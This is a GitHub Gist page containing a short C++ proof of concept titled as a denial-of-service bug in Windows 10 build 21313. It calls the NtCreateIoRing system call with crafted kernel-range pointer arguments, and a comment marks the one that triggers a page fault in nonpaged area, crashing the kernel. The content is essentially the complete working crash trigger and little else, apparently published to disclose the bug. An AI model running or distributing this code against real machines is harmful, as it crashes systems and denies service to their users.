Created
February 19, 2021 08:12
-
-
Save hfiref0x/bd6365a7cfa881da0e9c9e7a917a051b to your computer and use it in GitHub Desktop.
Denial of Service bug in Windows 10 (21313 build) NtCreateIoRing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <cstdio> | |
typedef NTSTATUS(NTAPI* pfnNtCreateIoRing)( | |
ULONG_PTR Param1, | |
ULONG_PTR Param2, | |
ULONG_PTR Param3, | |
ULONG_PTR Param4 | |
); | |
int main() | |
{ | |
HMODULE hDll = GetModuleHandle(TEXT("ntdll.dll")); | |
pfnNtCreateIoRing NtCreateIoRing; | |
printf_s("[>]Start\r\n"); | |
if (hDll) { | |
NtCreateIoRing = (pfnNtCreateIoRing)GetProcAddress(hDll, "NtCreateIoRing"); | |
if (NtCreateIoRing) { | |
NTSTATUS ntStatus = NtCreateIoRing(0x00007fffffff0000, | |
0xffff080000000000, | |
0xffff800000000000, //<- page fault in nonpaged area, read | |
0xffff800000000001); | |
printf_s(">NtCreateIoRing NTSTATUS 0x%lX\r\n", ntStatus); | |
} | |
else { | |
DWORD lastError = GetLastError(); | |
printf_s(">NtCreateIoRing not found, GetLastError %lu\r\n", lastError); | |
} | |
} | |
else { | |
printf_s(">No dll handle\r\n"); | |
} | |
printf_s("[<]Stop"); | |
ExitProcess(0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment